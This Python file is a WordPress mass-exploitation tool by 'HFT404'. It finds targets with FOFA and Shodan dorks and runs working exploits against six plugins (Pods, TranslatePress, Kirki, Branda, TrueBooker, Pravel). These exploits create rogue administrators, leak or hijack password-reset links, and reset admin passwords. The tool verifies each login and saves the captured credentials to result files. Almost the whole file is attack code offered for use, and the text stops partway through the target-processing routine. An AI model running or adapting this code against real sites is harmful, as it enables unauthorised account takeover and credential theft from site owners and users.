multi_exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
WordPress Multi-Exploit Tool 
6 Exploits + Enhanced Detection + Strict Verification + Auto-Save + Debugs

CVE-2026-19598 — Pods Privilege Escalation
CVE-2026-19632 — TranslatePress Account Takeover
CVE-2026-8206 — Kirki Account Takeover
Branda <= 3.4.29 — Privilege Escalation
TrueBooker — Admin User Creation
CVE-2026-12416/12417 — Pravel Password Reset

Author: HFT404
"""

import asyncio
import aiohttp
import random
import string
import sys
import re
import argparse
import threading
import time
import os
import json
from typing import Optional, Tuple, Dict, List

# ANSI Color Codes
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
WHITE = "\033[97m"
MAGENTA = "\033[95m"
RESET = "\033[0m"

BANNER = f"""
{CYAN}
╔══════════════════════════════════════════════════════════════╗
║                                                              ║
║  ██╗  ██╗███████╗████████╗ ██████╗ ██╗  ██╗                 ║
║  ██║  ██║██╔════╝╚══██╔══╝██╔════╝ ██║  ██║                 ║
║  ███████║█████╗     ██║   ██║  ███╗███████║                 ║
║  ██╔══██║██╔══╝     ██║   ██║   ██║██╔══██║                 ║
║  ██║  ██║██║        ██║   ╚██████╔╝██║  ██║                 ║
║  ╚═╝  ╚═╝╚═╝        ╚═╝    ╚═════╝ ╚═╝  ╚═╝                 ║
║                                                              ║
║        WordPress Multi-Exploit Tool                          ║
║        6 Exploits Integrated                                 ║
║        Enhanced WordPress Detection                          ║
║        Strict Verification                                   ║
║        Auto-Save Results                                     ║
║        Debug Mode                                            ║
║                                                              ║
╚══════════════════════════════════════════════════════════════╝
{RESET}"""

SPIN = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"]
SPIN_FRAME = 0
SPIN_LOCK = threading.Lock()

# User Agents
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0",
]

# Dorks
FOFA_DORK = 'body="pods" || body="translatepress" || body="kirki" || body="branda" || body="truebooker" || body="pravel"'
SHODAN_DORK = 'http.html:"pods" || http.html:"translatepress" || http.html:"kirki" || http.html:"branda" || http.html:"truebooker" || http.html:"pravel"'

# Default User IDs
DEFAULT_USER_IDS = [1, 2, 3, 4, 5, 6,]

# Languages for TranslatePress
TRANSLATE_LANGUAGES = [
    "fr", "es", "de", "it", "pt", "nl", "ru", "ar", "zh", "ja",
    "fr_FR", "es_ES", "de_DE", "it_IT", "pt_PT", "nl_NL", "ru_RU",
    "en_US", "en_GB", "pl", "tr", "ko", "vi", "th", "id", "ms",
    "hi", "fa", "he", "el", "cs", "sk", "hu", "ro", "bg", "hr",
    "sr", "uk", "lt", "lv", "et", "fi", "sv", "no", "da"
]

# Pravel exploits
PRAVEL_EXPLOIT_A = "pravel_change_password"
PRAVEL_EXPLOIT_B = "pravel_invoice_change_password"
PRAVEL_PASSWORD = "HFT@404..@"
PRAVEL_SUCCESS = '"activation":true'

# Results directory
RESULTS_DIR = "Results_cred"
CREDENTIALS_FILE = os.path.join(RESULTS_DIR, "credentials.txt")
WORDPRESS_FILE = os.path.join(RESULTS_DIR, "wordpress_domains.txt")
RESET_LINKS_FILE = os.path.join(RESULTS_DIR, "reset_links.txt")
KIRKI_RESULTS_FILE = os.path.join(RESULTS_DIR, "kirki_results.txt")
BRANDA_RESULTS_FILE = os.path.join(RESULTS_DIR, "branda_results.txt")
TRUEBOOKER_RESULTS_FILE = os.path.join(RESULTS_DIR, "truebooker_results.txt")
PRAVEL_RESULTS_FILE = os.path.join(RESULTS_DIR, "pravel_results.txt")
DEBUG_FILE = os.path.join(RESULTS_DIR, "debug.log")

# Lock for file writing
FILE_LOCK = threading.Lock()

# WordPress detection patterns
WP_PATTERNS = [
    r'wp-content', r'wp-includes', r'wp-json', r'wordpress',
    r'wp-admin', r'wp-login', r'generator.*wordpress',
    r'wp-embed', r'wp-cron', r'wp-settings', r'wp-config',
]

# WordPress URLs
WP_CHECK_URLS = [
    "/wp-login.php", "/wp-json/", "/wp-content/", "/wp-includes/",
    "/wp-admin/", "/xmlrpc.php", "/wp-cron.php", "/readme.html",
    "/license.txt", "/wp-trackback.php", "/wp-signup.php",
]


def spin_char():
    global SPIN_FRAME
    with SPIN_LOCK:
        c = SPIN[SPIN_FRAME % len(SPIN)]
        SPIN_FRAME += 1
    return c


def norm_url(u: str) -> str:
    u = u.strip()
    if not u.lower().startswith(("http://", "https://")):
        u = "https://" + u
    return u.rstrip("/")


def generate_password(length=16):
    chars = string.ascii_letters + string.digits + "!$%^&*()-_=+"
    return ''.join(random.choices(chars, k=length))


def generate_email():
    return f"hft_{random.randint(100000,999999)}@hft.com"


def generate_username():
    return f"admin_{random.randint(100000,999999)}"


def extract_wp_nonce(html_content):
    match = re.search(r'name="_wpnonce" value="([^"]+)"', html_content)
    return match.group(1) if match else None


def ensure_results_dir():
    try:
        if not os.path.exists(RESULTS_DIR):
            os.makedirs(RESULTS_DIR)
    except Exception:
        pass


def debug_log(message: str):
    """Save debug information"""
    try:
        ensure_results_dir()
        with FILE_LOCK:
            with open(DEBUG_FILE, 'a', encoding='utf-8') as f:
                f.write(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {message}\n")
                f.flush()
    except Exception:
        pass


def save_credentials(target_url, username, password, email="", user_id=0, exploit_type="", verified=False):
    """Save credentials with verification status"""
    try:
        ensure_results_dir()
        login_url = f"{norm_url(target_url)}/wp-login.php"
        verification = "VERIFIED" if verified else "UNVERIFIED"
        line = f"{login_url}|{username}|{password}|{email}|{user_id}|{exploit_type}|{verification}\n"
        
        with FILE_LOCK:
            existing_lines = []
            if os.path.exists(CREDENTIALS_FILE):
                with open(CREDENTIALS_FILE, 'r', encoding='utf-8') as f:
                    existing_lines = f.readlines()
            
            for existing in existing_lines:
                if login_url in existing and username in existing:
                    return
            
            with open(CREDENTIALS_FILE, 'a', encoding='utf-8') as f:
                f.write(line)
                f.flush()
            
            debug_log(f"Credentials saved: {login_url} | {username} | {exploit_type} | {verification}")
    except Exception as e:
        debug_log(f"Error saving credentials: {e}")


def save_result(filename, line):
    try:
        ensure_results_dir()
        with FILE_LOCK:
            with open(filename, 'a', encoding='utf-8') as f:
                f.write(line + "\n")
                f.flush()
    except Exception:
        pass


def save_wordpress_domain(target_url, score=0):
    save_result(WORDPRESS_FILE, f"{norm_url(target_url)}|{score}")


def load_targets_from_file(filepath):
    targets = []
    encodings = ['utf-8', 'latin-1', 'cp1252', 'iso-8859-1', 'utf-16', 'ascii']
    
    for encoding in encodings:
        try:
            with open(filepath, 'r', encoding=encoding) as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#'):
                        line = line.encode('ascii', 'ignore').decode('ascii')
                        if line:
                            targets.append(line)
            if targets:
                return targets
        except Exception:
            continue
    
    try:
        with open(filepath, 'rb') as f:
            content = f.read()
            text = content.decode('utf-8', errors='ignore')
            for line in text.split('\n'):
                line = line.strip()
                if line and not line.startswith('#'):
                    line = line.encode('ascii', 'ignore').decode('ascii')
                    if line:
                        targets.append(line)
        if targets:
            return targets
    except Exception:
        pass
    
    return targets


async def detect_wordpress_enhanced(session, base_url, timeout=15):
    """Enhanced WordPress detection with score"""
    headers = {"User-Agent": random.choice(USER_AGENTS)}
    score = 0
    methods = []
    
    # Check main page
    try:
        async with session.get(base_url, headers=headers, ssl=False, timeout=timeout) as resp:
            if resp.status == 200:
                content = (await resp.text()).lower()
                
                for pattern in WP_PATTERNS:
                    if re.search(pattern, content):
                        score += 3
                        methods.append(f"content:{pattern}")
                        break
                
                if 'name="generator"' in content and 'wordpress' in content:
                    score += 5
                    methods.append("meta:generator")
                
                if 'wp-json' in content:
                    score += 3
                    methods.append("link:wp-json")
                
                for plugin in ['pods', 'translatepress', 'trp_language', 'kirki', 'branda', 'truebooker', 'pravel']:
                    if plugin in content:
                        score += 2
                        methods.append(f"{plugin}:detected")
    except Exception:
        pass
    
    # Check headers
    try:
        async with session.get(base_url, headers=headers, ssl=False, timeout=5) as resp:
            if 'x-pingback' in resp.headers and 'xmlrpc.php' in resp.headers['x-pingback']:
                score += 5
                methods.append("header:x-pingback")
            if 'link' in resp.headers and 'wp-json' in resp.headers['link'].lower():
                score += 3
                methods.append("header:link-wp-json")
    except Exception:
        pass
    
    # Check WordPress URLs
    for check_path in WP_CHECK_URLS:
        try:
            async with session.get(f"{base_url}{check_path}", headers=headers, ssl=False, timeout=3) as resp:
                if resp.status in [200, 301, 302, 403, 405]:
                    score += 2
                    methods.append(f"url:{check_path}")
        except Exception:
            continue
    
    # Check license.txt
    try:
        async with session.get(f"{base_url}/license.txt", headers=headers, ssl=False, timeout=3) as resp:
            if resp.status == 200:
                if 'wordpress' in (await resp.text()).lower():
                    score += 5
                    methods.append("license:wordpress")
    except Exception:
        pass
    
    debug_log(f"WordPress detection: {base_url} | Score: {score} | {', '.join(methods[:5])}")
    
    return score >= 8, f"Score: {score} | {', '.join(methods[:5])}", score


async def verify_login_strict(session, base_url, email, password):
    """STRICT login verification - returns (success, is_admin)"""
    login_url = f"{base_url}/wp-login.php"
    admin_url = f"{base_url}/wp-admin/"
    headers = {"User-Agent": random.choice(USER_AGENTS)}
    
    try:
        async with session.get(login_url, headers=headers, ssl=False) as resp:
            if resp.status != 200:
                return False, False
            nonce = extract_wp_nonce(await resp.text())
        
        data = {"log": email, "pwd": password, "wp-submit": "Log In", 
                "redirect_to": admin_url, "testcookie": "1"}
        if nonce:
            data["_wpnonce"] = nonce
        
        async with session.post(login_url, data=data, headers=headers, 
                                ssl=False, allow_redirects=True) as resp:
            final_url = str(resp.url)
            
            if "wp-admin" in final_url or "wp-login.php?redirect_to" in final_url:
                async with session.get(admin_url, headers=headers, ssl=False) as admin_resp:
                    if admin_resp.status == 200:
                        content = await admin_resp.text()
                        
                        if "Dashboard" in content or 'id="adminmenu"' in content:
                            debug_log(f"Login verified as ADMIN: {email}")
                            return True, True
                        
                        if "logout" in content.lower():
                            debug_log(f"Login verified (not admin): {email}")
                            return True, False
        
        return False, False
    except Exception as e:
        debug_log(f"Login verification error: {e}")
        return False, False


# ============ PODS EXPLOIT (CVE-2026-19598) ============

async def check_pods(session, base):
    try:
        url = f"{base}/wp-admin/admin-ajax.php?action=pods_admin"
        headers = {"User-Agent": random.choice(USER_AGENTS)}
        async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:
            if resp.status == 200:
                if "pods" in (await resp.text()).lower():
                    return True
        
        # Check plugin directory
        assets_url = f"{base}/wp-content/plugins/pods/"
        async with session.get(assets_url, headers=headers, ssl=False, timeout=10) as resp:
            if resp.status not in [404, 403]:
                return True
        
        return False
    except Exception:
        return False


async def exploit_pods(base, target_id):
    """Pods exploit with STRICT verification"""
    url = f"{base}/wp-admin/admin-ajax.php"
    email = generate_email()
    password = generate_password()
    username = generate_username()
    
    data = {
        "action": "pods_admin", "method": "save_user", "ID": str(target_id),
        "user_pass": password, "user_email": email, "role": "administrator",
        "display_name": username, "user_login": username,
    }
    
    headers = {"User-Agent": random.choice(USER_AGENTS), 
               "Content-Type": "application/x-www-form-urlencoded"}
    
    debug_log(f"Pods exploit attempt: {base} | ID: {target_id}")
    
    try:
        connector = aiohttp.TCPConnector(ssl=False, force_close=True)
        timeout_config = aiohttp.ClientTimeout(total=30, connect=10)
        
        async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:
            async with session.post(url, params={"meta-box-loader": "1"}, 
                                    data=data, headers=headers, ssl=False) as resp:
                if resp.status == 200:
                    login_success, is_admin = await verify_login_strict(session, base, email, password)
                    
                    if login_success and is_admin:
                        save_credentials(base, username, password, email, target_id, "pods", verified=True)
                        debug_log(f"Pods SUCCESS: {base} | {username}")
                        return True, {"exploit": "pods", "username": username, 
                                     "password": password, "email": email}
                    elif login_success:
                        debug_log(f"Pods partial: login OK but not admin")
                        return False, {"note": "Login successful but NOT admin"}
                else:
                    debug_log(f"Pods HTTP {resp.status}")
    except Exception as e:
        debug_log(f"Pods error: {e}")
    
    return False, {}


# ============ TRANSLATEPRESS EXPLOIT (CVE-2026-19632) ============

async def check_translatepress(session, base):
    try:
        headers = {"User-Agent": random.choice(USER_AGENTS)}
        for path in ["translatepress-multilingual", "translatepress"]:
            url = f"{base}/wp-content/plugins/{path}/"
            async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:
                if resp.status not in [404, 403]:
                    return True
        
        # Check AJAX action
        ajax_url = f"{base}/wp-admin/admin-ajax.php"
        data = {"action": "trp_get_translations_regular", "language": "fr", 
                "string_ids": "[]", "originals": "[]", "skip_machine_translation": "[]"}
        async with session.post(ajax_url, data=data, headers=headers, ssl=False, timeout=10) as resp:
            if resp.status == 200:
                content = await resp.text()
                if "trp" in content.lower() or "translation" in content.lower():
                    return True
        
        return False
    except Exception:
        return False


async def detect_translatepress_languages(session, base_url):
    """Detect active TranslatePress languages"""
    languages = []
    
    try:
        headers = {"User-Agent": random.choice(USER_AGENTS)}
        async with session.get(base_url, headers=headers, ssl=False, timeout=15) as resp:
            if resp.status == 200:
                content = await resp.text()
                
                lang_patterns = [
                    r'data-trp-language="([^"]+)"',
                    r'hreflang="([^"]+)"',
                    r'lang="([^"]+)"',
                ]
                
                for pattern in lang_patterns:
                    matches = re.findall(pattern, content)
                    for match in matches:
                        if match and match not in languages and len(match) <= 10:
                            languages.append(match)
    except Exception as e:
        debug_log(f"Language detection error: {e}")
    
    if not languages:
        languages = TRANSLATE_LANGUAGES
    
    debug_log(f"TranslatePress languages: {languages[:15]}")
    return languages


async def trigger_password_reset(session, base_url, username):
    """Trigger password reset with multiple data formats"""
    login_url = f"{base_url}/wp-login.php?action=lostpassword"
    headers = {"User-Agent": random.choice(USER_AGENTS), 
               "Content-Type": "application/x-www-form-urlencoded"}
    
    data_variants = [
        {"user_login": username, "redirect_to": "", "wp-submit": "Get New Password"},
        {"user_login": username, "wp-submit": "Get New Password"},
    ]
    
    for data in data_variants:
        try:
            async with session.post(login_url, data=data, headers=headers, 
                                    ssl=False, timeout=15) as resp:
                if resp.status == 200:
                    content = await resp.text().lower()
                    
                    success_indicators = ["check your email", "email sent", "password reset"]
                    error_indicators = ["invalid username", "invalid email", "not registered"]
                    
                    if any(ind in content for ind in success_indicators) and not any(ind in content for ind in error_indicators):
                        debug_log(f"Password reset triggered for {username}")
                        return True, "Password reset email sent"
                    elif not any(ind in content for ind in error_indicators):
                        debug_log(f"Password reset possibly triggered")
                        return True, "Password reset possibly triggered"
        except Exception as e:
            debug_log(f"Reset error: {e}")
            continue
    
    return False, "Password reset failed"


async def extract_reset_key(session, base_url, language):
    """Extract reset key with multiple patterns"""
    ajax_url = f"{base_url}/wp-admin/admin-ajax.php"
    
    data_variants = [
        {
            "action": "trp_get_translations_regular",
            "language": language,
            "string_ids": json.dumps(list(range(1, 1000))),
            "originals": "[]",
            "skip_machine_translation": "[]",
            "dynamic_strings": "false"
        },
        {
            "action": "trp_get_translations_regular",
            "language": language,
            "security": "",
            "string_ids": json.dumps(list(range(1, 1000))),
            "originals": "[]",
            "skip_machine_translation": "[]"
        }
    ]
    
    headers = {"User-Agent": random.choice(USER_AGENTS), 
               "Content-Type": "application/x-www-form-urlencoded",
               "X-Requested-With": "XMLHttpRequest"}
    
    for data in data_variants:
        try:
            async with session.post(ajax_url, data=data, headers=headers, 
                                    ssl=False, timeout=15) as resp:
                if resp.status == 200:
                    content = await resp.text()
                    
                    reset_patterns = [
                        r'wp-login\.php\?action=rp&key=([a-zA-Z0-9]+)&login=([^"\'<>\s\\]+)',
                        r'action=rp&key=([a-zA-Z0-9]+)&login=([^"\'<>\s\\]+)',
                        r'key=([a-zA-Z0-9]{20,})',
                        r'(https?://[^\s"\'<>]+wp-login\.php\?action=rp[^\s"\'<>]+)',
                        r'"key"\s*:\s*"([a-zA-Z0-9]{20,})"',
                    ]
                    
                    for pattern in reset_patterns:
                        match = re.search(pattern, content, re.IGNORECASE)
                        if match:
                            key = match.group(1)
                            login = match.group(2) if match.lastindex and match.lastindex >= 2 else ""
                            debug_log(f"KEY FOUND in {language}: {key}")
                            return key, login
                    
                    # Check JSON
                    try:
                        json_data = json.loads(content)
                        json_str = json.dumps(json_data)
                        for pattern in reset_patterns:
                            match = re.search(pattern, json_str, re.IGNORECASE)
                            if match:
                                key = match.group(1)
                                debug_log(f"KEY FOUND in JSON {language}: {key}")
                                return key, ""
                    except:
                        pass
        except Exception as e:
            debug_log(f"Extraction error for {language}: {e}")
            continue
    
    return None, None


async def exploit_translatepress(base, username):
    """TranslatePress exploit with improved detection"""
    base = norm_url(base)
    debug_log(f"=== TranslatePress exploit on {base} ===")
    
    try:
        connector = aiohttp.TCPConnector(ssl=False, force_close=True)
        timeout_config = aiohttp.ClientTimeout(total=30, connect=10)
        
        async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:
            # Detect languages
            languages = await detect_translatepress_languages(session, base)
            debug_log(f"Languages: {languages[:10]}")
            
            # Trigger reset
            reset_success, reset_msg = await trigger_password_reset(session, base, username)
            
            if not reset_success:
                return False, {}, reset_msg
            
            await asyncio.sleep(5)
            
            # Extract key
            for language in languages:
                key, login = await extract_reset_key(session, base, language)
                
                if key:
                    reset_url = f"{base}/wp-login.php?action=rp&key={key}"
                    if login:
                        reset_url += f"&login={login}"
                    
                    save_result(RESET_LINKS_FILE, f"{base}|{reset_url}|{username}|{language}|VERIFIED")
                    debug_log(f"TranslatePress SUCCESS: {reset_url}")
                    
                    return True, {"exploit": "translatepress", "reset_url": reset_url, 
                                 "language": language}, "Reset link found"
                
                await asyncio.sleep(0.5)
            
            return False, {}, "Reset key not found"
    except Exception as e:
        debug_log(f"TranslatePress error: {e}")
        return False, {}, str(e)[:80]


# ============ KIRKI EXPLOIT (CVE-2026-8206) ============

async def check_kirki(session, base):
    try:
        endpoint = f"{base}/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password"
        headers = {"User-Agent": random.choice(USER_AGENTS)}
        async with session.get(endpoint, headers=headers, ssl=False, timeout=10) as resp:
            return resp.status in [200, 400, 405, 500]
    except Exception:
        return False


async def exploit_kirki(base, username, attacker_email):
    """Kirki exploit with response verification"""
    endpoint = f"{base}/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password"
    
    payload = {
        'username': username,
        'email': attacker_email,
        'emailSubject': 'Password Reset Requested',
        'emailBody': json.dumps([
            {'type': 'text', 'value': 'Click link to reset password: '},
            {'type': 'chip', 'value': 'reset_link'}
        ])
    }
    
    debug_log(f"Kirki exploit: {base} | {username} | {attacker_email}")
    
    try:
        connector = aiohttp.TCPConnector(ssl=False, force_close=True)
        timeout_config = aiohttp.ClientTimeout(total=30, connect=10)
        
        async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:
            headers = {'Content-Type': 'application/x-www-form-urlencoded',
                       'User-Agent': random.choice(USER_AGENTS)}
            
            async with session.post(endpoint, data=payload, headers=headers, ssl=False) as resp:
                response_text = await resp.text()
                
                if resp.status == 200:
                    success_indicators = ['"success"', '"status":"ok"', '"sent"', '"reset"', 'password reset', 'email sent']
                    error_indicators = ['"error"', 'not found', 'invalid', 'failed']
                    
                    has_success = any(ind in response_text.lower() for ind in success_indicators)
                    has_error = any(ind in response_text.lower() for ind in error_indicators)
                    
                    if has_success and not has_error:
                        save_result(KIRKI_RESULTS_FILE, f"{base}|{username}|{attacker_email}|VERIFIED")
                        debug_log(f"Kirki SUCCESS (verified)")
                        return True, {"exploit": "kirki", "attacker_email": attacker_email}, "Reset sent (verified)"
                    elif not has_error:
                        save_result(KIRKI_RESULTS_FILE, f"{base}|{username}|{attacker_email}|UNVERIFIED")
                        debug_log(f"Kirki possibly sent (unverified)")
                        return True, {"exploit": "kirki", "attacker_email": attacker_email}, "Reset possibly sent"
                    else:
                        debug_log(f"Kirki returned error: {response_text[:100]}")
                        return False, {}, "Kirki returned error"
                else:
                    debug_log(f"Kirki HTTP {resp.status}")
                    return False, {}, f"HTTP {resp.status}"
    except Exception as e:
        debug_log(f"Kirki error: {e}")
        return False, {}, str(e)[:80]


# ============ BRANDA EXPLOIT ============

async def check_branda(session, base):
    try:
        headers = {"User-Agent": random.choice(USER_AGENTS)}
        for path in ["branda", "branda-white-labeling"]:
            url = f"{base}/wp-content/plugins/{path}/"
            async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:
                if resp.status not in [404, 403]:
                    return True
        
        # Check registration page
        register_url = f"{base}/wp-login.php?action=register"
        async with session.get(register_url, headers=headers, ssl=False, timeout=10) as resp:
            if resp.status == 200:
                content = await resp.text()
                if 'password_1' in content or 'branda' in content.lower():
                    return True
        
        return False
    except Exception:
        return False


async def exploit_branda(base, username, new_password):
    """Branda exploit with STRICT login verification"""
    debug_log(f"Branda exploit: {base} | {username}")
    
    try:
        connector = aiohttp.TCPConnector(ssl=False, force_close=True)
        timeout_config = aiohttp.ClientTimeout(total=30, connect=10)
        
        async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:
            email = generate_email()
            headers = {"User-Agent": random.choice(USER_AGENTS), 
                       "Content-Type": "application/x-www-form-urlencoded"}
            
            data = {"user_login": username, "user_email": email,
                    "password_1": new_password, "password_2": new_password,
                    "wp-submit": "Register"}
            
            async with session.post(f"{base}/wp-login.php?action=register", 
                                    data=data, headers=headers, ssl=False) as resp:
                if resp.status == 200:
                    login_success, is_admin = await verify_login_strict(session, base, username, new_password)
                    
                    if login_success and is_admin:
                        save_credentials(base, username, new_password, email, 0, "branda", verified=True)
                        debug_log(f"Branda SUCCESS: {username}")
                        return True, {"exploit": "branda", "username": username, 
                                     "password": new_password}, "Password changed (verified admin)"
                    elif login_success:
                        save_credentials(base, username, new_password, email, 0, "branda", verified=False)
                        debug_log(f"Branda partial: login OK but not admin")
                        return True, {"exploit": "branda", "username": username, 
                                     "password": new_password}, "Password changed (not admin)"
    except Exception as e:
        debug_log(f"Branda error: {e}")
    
    return False, {}, "Branda failed"


# ============ TRUEBOOKER EXPLOIT ============

async def check_truebooker(session, base):
    try:
        headers = {"User-Agent": random.choice(USER_AGENTS)}
        url = f"{base}/wp-content/plugins/truebooker/"
        async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:
            return resp.status not in [404, 403]
    except Exception:
        return False


async def exploit_truebooker(base):
    """TrueBooker exploit with STRICT login verification"""
    url = f"{base}/wp-admin/admin-ajax.php"
    username = f"testuser_{random.randint(1000,9999)}"
    password = generate_password(12)
    email = generate_email()
    
    alldata = (
        f"truebooker_meta_box_noncename=&truebooker_user_id=1&truebooker_wp_user_id=1"
        f"&truebooker_f_user_firstname=Test&truebooker_f_user_lastname=User"
        f"&truebooker_f_user_email={email}&truebooker_f_user_conutry=US"
        f"&truebooker_f_user_state=CA&truebooker_f_user_phone=5551234567"
        f"&truebooker_f_user_city=Testville&truebooker_f_user_pincode=00000"
        f"&truebooker_f_user_address1=Test+Address&truebooker_f_user_name={username}"
        f"&truebooker_f_password={password}"
    )
    
    data = {"action": "admin_user_create", "security": "", "alldata": alldata}
    
    debug_log(f"TrueBooker exploit: {base}")
    
    try:
        connector = aiohttp.TCPConnector(ssl=False, force_close=True)
        timeout_config = aiohttp.ClientTimeout(total=30, connect=10)
        
        async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:
            headers = {"User-Agent": random.choice(USER_AGENTS), 
                       "Content-Type": "application/x-www-form-urlencoded"}
            
            async with session.post(url, data=data, headers=headers, ssl=False) as resp:
                if resp.status == 200:
                    login_success, is_admin = await verify_login_strict(session, base, email, password)
                    
                    if login_success and is_admin:
                        save_credentials(base, username, password, email, 1, "truebooker", verified=True)
                        debug_log(f"TrueBooker SUCCESS: {username}")
                        return True, {"exploit": "truebooker", "username": username, 
                                     "password": password}, "Admin created (verified)"
                    
                    login_success2, is_admin2 = await verify_login_strict(session, base, username, password)
                    if login_success2 and is_admin2:
                        save_credentials(base, username, password, email, 1, "truebooker", verified=True)
                        debug_log(f"TrueBooker SUCCESS: {username}")
                        return True, {"exploit": "truebooker", "username": username, 
                                     "password": password}, "Admin created (verified)"
    except Exception as e:
        debug_log(f"TrueBooker error: {e}")
    
    return False, {}, "TrueBooker failed"


# ============ PRAVEL EXPLOIT ============

async def check_pravel(session, base):
    """Check if Pravel plugin is installed"""
    try:
        headers = {"User-Agent": random.choice(USER_AGENTS)}
        
        for path in ["signup-signin", "pravel-invoice", "pravel"]:
            url = f"{base}/wp-content/plugins/{path}/"
            try:
                async with session.get(url, headers=headers, ssl=False, timeout=10) as resp:
                    if resp.status not in [404, 403]:
                        return True
            except Exception:
                continue
        
        ajax_url = f"{base}/wp-admin/admin-ajax.php"
        for action in [PRAVEL_EXPLOIT_A, PRAVEL_EXPLOIT_B]:
            data = {"action": action, "reset_user_id": "1", 
                    "new_password_custom": PRAVEL_PASSWORD, "reset_activation_code": ""}
            try:
                async with session.post(ajax_url, data=data, headers=headers, 
                                        ssl=False, timeout=10) as resp:
                    if resp.status == 200:
                        content = await resp.text()
                        if "activation" in content.lower():
                            return True
            except Exception:
                continue
        
        return False
    except Exception:
        return False


async def exploit_pravel(base, user_id):
    """Pravel exploit with STRICT login verification"""
    url = f"{base}/wp-admin/admin-ajax.php"
    headers = {"User-Agent": random.choice(USER_AGENTS), 
               "Content-Type": "application/x-www-form-urlencoded"}
    
    debug_log(f"Pravel exploit: {base} | ID: {user_id}")
    
    for action in [PRAVEL_EXPLOIT_A, PRAVEL_EXPLOIT_B]:
        data = {"action": action, "reset_user_id": str(user_id),
                "new_password_custom": PRAVEL_PASSWORD, "reset_activation_code": ""}
        
        try:
            connector = aiohttp.TCPConnector(ssl=False, force_close=True)
            timeout_config = aiohttp.ClientTimeout(total=30, connect=10)
            
            async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:
                async with session.post(url, data=data, headers=headers, ssl=False) as resp:
                    if resp.status == 200:
                        content = await resp.text()
                        
                        if PRAVEL_SUCCESS in content or '"activation":true' in content:
                            for username in ["admin", "administrator"]:
                                login_success, is_admin = await verify_login_strict(
                                    session, base, username, PRAVEL_PASSWORD
                                )
                                
                                if login_success and is_admin:
                                    save_credentials(base, username, PRAVEL_PASSWORD, 
                                                    "", user_id, f"pravel-{action}", verified=True)
                                    save_result(PRAVEL_RESULTS_FILE, 
                                               f"{base}|{username}|{PRAVEL_PASSWORD}|{action}|{user_id}|VERIFIED")
                                    debug_log(f"Pravel SUCCESS: {username}")
                                    return True, {"exploit": f"pravel-{action}", 
                                                 "username": username, 
                                                 "password": PRAVEL_PASSWORD}, "Password reset (verified)"
        except Exception as e:
            debug_log(f"Pravel error: {e}")
            continue
    
    return False, {}


# ============ PROCESS TARGET ============

async def process_target(target, user_ids, username, attacker_email, args):
    """Process single target - try all 6 exploits with verification"""
    base = norm_url(target)
    new_password = generate_password(12)
    
    debug_log(f"=== Processing target: {base} ===")
    
    try:
        connector = aiohttp.TCPConnector(ssl=False, force_close=True)
        timeout_config = aiohttp.ClientTimeout(total=args.timeout, connect=10)
        
        async with aiohttp.ClientSession(connector=connector, timeout=timeout_config) as session:
            print(f"\n{CYAN}[*] Detecting WordPress on {base}...{RESET}")
            
            is_wp, detection_msg, score = await detect_wordpress_enhanced(session, base, args.timeout)
            
            if not is_wp:
                print(f"{RED}[-] Not WordPress: {base} | {detection_msg}{RESET}")
                return False, {}, "Not WordPress"
            
            print(f"{GREEN}[+] WordPress: {base} | {detection_msg}{RESET}")
            save_wordpress_domain(base, score)
            
            # Check all plugins
            plugins = {
                "Pods": await check_pods(session, base),
                "TranslatePress": await check_translatepress(session, base),
                "Kirki": await check_kirki(session, base),
                "Branda": await check_branda(session, base),
                "TrueBooker": await check_truebooker(session, base),
                "Pravel": await check_pravel(session, base),
            }
            
            for name, installed in plugins.items():
                status = f"{GREEN}YES{RESET}" if installed else f"{RED}NO{RESET}"
                print(f"{CYAN}[*] {name}: {status}")
        
        # Try exploits
        if plugins["Pods"]:
            print(f"\n{YELLOW}[*] Trying Pods exploit...{RESET}")
            for uid in user_ids[:5]:
                success, creds = await exploit_pods(base, uid)
                if success:
                    return True, creds, "Pods exploit successful (VERIFIED)"
                await asyncio.sleep(0.5)
        
        if plugins["TranslatePress"]:
            print(f"\n{YELLOW}[*] Trying TranslatePress exploit...{RESET}")
            success, creds, msg = await exploit_translatepress(base, username)
            if success:
                return True, creds, "TranslatePress exploit successful"
        
        if plugins["Kirki"]:
            print(f"\n{YELLOW}[*] Trying Kirki exploit...{RESET}")
            success, creds, msg = await exploit_kirki(base, username, attacker_email)
            if success:
                return True, creds, "Kirki exploit successful"
        
        if plugins["Branda"]:
            print(f"\n{YELLOW}[*] Trying Branda exploit...{RESET}")
            success, creds, msg = await exploit_branda(base, username, new_password)
            if success:
                return True, creds, "Branda exploit successful (VERIFIED)"
        
        if plugins["TrueBooker"]:
            print(f"\n{YELLOW}[*] Trying TrueBooker exploit...{RESET}")
            success, creds, msg = await exploit_truebooker(base)
            if success:
                return True, creds, "TrueBooker exploit successful (VERIFIED)"
        
        if plugins["Pravel"]:
            print(f"\n{YELLOW}[*] Trying Pravel exploit...{RESET}")
            for uid in user_ids[:10]:
                success, creds = await exploit_pravel(base, uid)
                if success:
                    return True, creds, "Pravel exploit successful (VERIFIED)"
